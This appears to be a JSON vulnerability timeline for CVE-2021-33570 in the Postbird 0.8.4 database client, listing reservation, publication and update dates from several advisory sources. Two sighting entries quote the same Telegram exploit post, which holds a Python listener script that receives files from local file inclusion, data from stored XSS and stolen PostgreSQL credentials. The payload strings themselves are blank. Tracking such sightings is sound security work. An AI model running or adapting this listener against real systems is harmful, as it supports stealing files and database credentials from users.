{"metadata": {"vulnerability": "cve-2021-33570", "count": 16, "kinds": {"milestone": 4, "sighting": 3, "kev": 0, "other": 9}}, "data": [{"timestamp": "2021-05-25T00:00:00Z", "date_only": false, "value": "2021-05-25T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2021-33570", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-05-25T21:06:34Z", "date_only": false, "value": "2021-05-25T21:06:34.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2021-33570", "field": "cveMetadata.datePublished"}, {"timestamp": "2021-05-25T22:15:00Z", "date_only": false, "value": "2021-05-25T22:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-38QM-8H84-7H9V", "record": "GHSA-38QM-8H84-7H9V", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-05-25T22:15:00Z", "date_only": false, "value": "2021-05-25T22:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-33570", "record": "GSD-2021-33570", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-05-25T22:15:10.353Z", "date_only": false, "value": "2021-05-25T22:15:10.353", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-33570", "record": "FKIE_CVE-2021-33570", "field": "published"}, {"timestamp": "2021-05-28T01:19:23Z", "date_only": false, "value": "2021-05-28T01:19:23.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pwnwiki_zhchannel/515", "record": "CVE-2021-33570", "field": "creation_timestamp", "uuid": "33ef73a9-34da-4aec-ba29-0251913be8e7", "content": "CVE-2021-33570 Postbird 0.8.4  Javascript\u6ce8\u5165\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-33570_Postbird_0.8.4_Javascript%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E", "url": "https://t.me/pwnwiki_zhchannel/515"}, {"timestamp": "2021-06-17T19:16:53Z", "date_only": false, "value": "2021-06-17T19:16:53.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2021-33570", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-05-24T19:03:23Z", "date_only": false, "value": "2022-05-24T19:03:23Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-38QM-8H84-7H9V", "record": "GHSA-38QM-8H84-7H9V", "field": "published"}, {"timestamp": "2022-06-03T18:54:00Z", "date_only": false, "value": "2022-06-03T18:54Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-33570", "record": "GSD-2021-33570", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-06-04T00:00:32Z", "date_only": false, "value": "2022-06-04T00:00:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-38QM-8H84-7H9V", "record": "GHSA-38QM-8H84-7H9V", "field": "modified"}, {"timestamp": "2023-12-13T01:23:18.565Z", "date_only": false, "value": "2023-12-13T01:23:18.565829Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-33570", "record": "GSD-2021-33570", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T23:50:43.174Z", "date_only": false, "value": "2024-08-03T23:50:43.174Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2021-33570", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-03T23:50:43.174Z", "date_only": false, "value": "2024-08-03T23:50:43.174Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2021-33570", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T03:54:48.483Z", "date_only": false, "value": "2026-06-17T03:54:48.483", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-33570", "record": "FKIE_CVE-2021-33570", "field": "lastModified"}, {"timestamp": "2026-09-01T20:02:41.191Z", "date_only": false, "value": "2026-09-01T20:02:41.191975Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/10337", "record": "CVE-2021-33570", "field": "creation_timestamp", "uuid": "84bf02c0-1536-4911-8e0d-f90ef47ff472", "content": "Exploit Collector\nPostbird 0.8.4 Cross Site Scripting / Local File Inclusion\n\nhttps://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png \nPostbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.\n\nMD5 | f2d171b04734775d46bcc4f5dc3a2213\n\nDownload\n# Exploit Title: Postbird 0.8.4 - Javascript Injection\n# Date: [26 May 2021]\n# Exploit Author: Debshubra Chakraborty\n# Vendor Homepage: https://github.com/paxa/postbird\n# Software Link: https://www.electronjs.org/apps/postbird\n# Version: 0.8.4 \n# Tested on: Linux\n# CVE : CVE-2021-33570\n\n\"\"\"\nXSS Payload\n \n\nLFI Payload\n \n\nPostgreSQL Password Stealing Payload\n \n\n\"\"\"\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport urllib.parse\nimport re\n\nhostName = '0.0.0.0'\nserverPort = 5555\n\nclass MyServer(BaseHTTPRequestHandler):\ndef do_GET(self):\nself.send_response(200)\nparse(urllib.parse.unquote(self.requestline))\n\ndef log_message(self, format, *args):\nreturn \ndef parse(data):\nexpression = re.search('\\S+=', data)\nattr = expression.group()\n\nif attr[2:len(attr)-1] == 'file':\ndata = data[12:len(data)-11] \ndata = data.rsplit('\\\\n')\nprint(f'\\n[+] File received from LFI: \\n\\n')\nfor output in data:\nprint(output)\n\nelif attr[2:len(attr)-1] == 'xss':\ndata = data[11:len(data)-10]\nprint(f'\\n[+] Data exfiltration from Stored XSS: \\n\\n{data}')\n\nelif attr[2:len(attr)-1] == 'credentials':\npos = re.search('{\"\\S+:', data)\ndata = data[pos.start():len(data)-11]\nfor i in range(2, len(data), 1):\nif data[i] == '\"':\npos = i\nbreak\n\nhost = data[2:pos]\ndata = data[14:]\ndata = data.rsplit(',')\nprint(f'\\n\\n[+] The Database credentials received\\n\\nHost = {host}')\nfor output in data:\nprint(output)\n\nelse:\nprint(f'\\n\\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')\ndef main(): \nglobal hostName, serverPort\nwebServer = HTTPServer((hostName, serverPort), MyServer)\nprint(\"Server started http://%s:%s\" % (hostName, serverPort))\n\ntry:\nwebServer.serve_forever()\n\nexcept KeyboardInterrupt:\npass\n\nwebServer.server_close()\nprint(\"\\nServer stopped.\")\nif __name__ == \"__main__\":\nmain()\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/10337"}, {"timestamp": "2026-09-08T06:00:05.134Z", "date_only": false, "value": "2026-09-08T06:00:05.134488Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/10337", "record": "CVE-2021-33570", "field": "creation_timestamp", "uuid": "ea1058dd-2305-4ba2-a260-cccd9deab1c8", "content": "Exploit Collector\nPostbird 0.8.4 Cross Site Scripting / Local File Inclusion\n\nhttps://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png \nPostbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.\n\nMD5 | f2d171b04734775d46bcc4f5dc3a2213\n\nDownload\n# Exploit Title: Postbird 0.8.4 - Javascript Injection\n# Date: [26 May 2021]\n# Exploit Author: Debshubra Chakraborty\n# Vendor Homepage: https://github.com/paxa/postbird\n# Software Link: https://www.electronjs.org/apps/postbird\n# Version: 0.8.4 \n# Tested on: Linux\n# CVE : CVE-2021-33570\n\n\"\"\"\nXSS Payload\n \n\nLFI Payload\n \n\nPostgreSQL Password Stealing Payload\n \n\n\"\"\"\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport urllib.parse\nimport re\n\nhostName = '0.0.0.0'\nserverPort = 5555\n\nclass MyServer(BaseHTTPRequestHandler):\ndef do_GET(self):\nself.send_response(200)\nparse(urllib.parse.unquote(self.requestline))\n\ndef log_message(self, format, *args):\nreturn \ndef parse(data):\nexpression = re.search('\\S+=', data)\nattr = expression.group()\n\nif attr[2:len(attr)-1] == 'file':\ndata = data[12:len(data)-11] \ndata = data.rsplit('\\\\n')\nprint(f'\\n[+] File received from LFI: \\n\\n')\nfor output in data:\nprint(output)\n\nelif attr[2:len(attr)-1] == 'xss':\ndata = data[11:len(data)-10]\nprint(f'\\n[+] Data exfiltration from Stored XSS: \\n\\n{data}')\n\nelif attr[2:len(attr)-1] == 'credentials':\npos = re.search('{\"\\S+:', data)\ndata = data[pos.start():len(data)-11]\nfor i in range(2, len(data), 1):\nif data[i] == '\"':\npos = i\nbreak\n\nhost = data[2:pos]\ndata = data[14:]\ndata = data.rsplit(',')\nprint(f'\\n\\n[+] The Database credentials received\\n\\nHost = {host}')\nfor output in data:\nprint(output)\n\nelse:\nprint(f'\\n\\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')\ndef main(): \nglobal hostName, serverPort\nwebServer = HTTPServer((hostName, serverPort), MyServer)\nprint(\"Server started http://%s:%s\" % (hostName, serverPort))\n\ntry:\nwebServer.serve_forever()\n\nexcept KeyboardInterrupt:\npass\n\nwebServer.server_close()\nprint(\"\\nServer stopped.\")\nif __name__ == \"__main__\":\nmain()\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/10337"}]}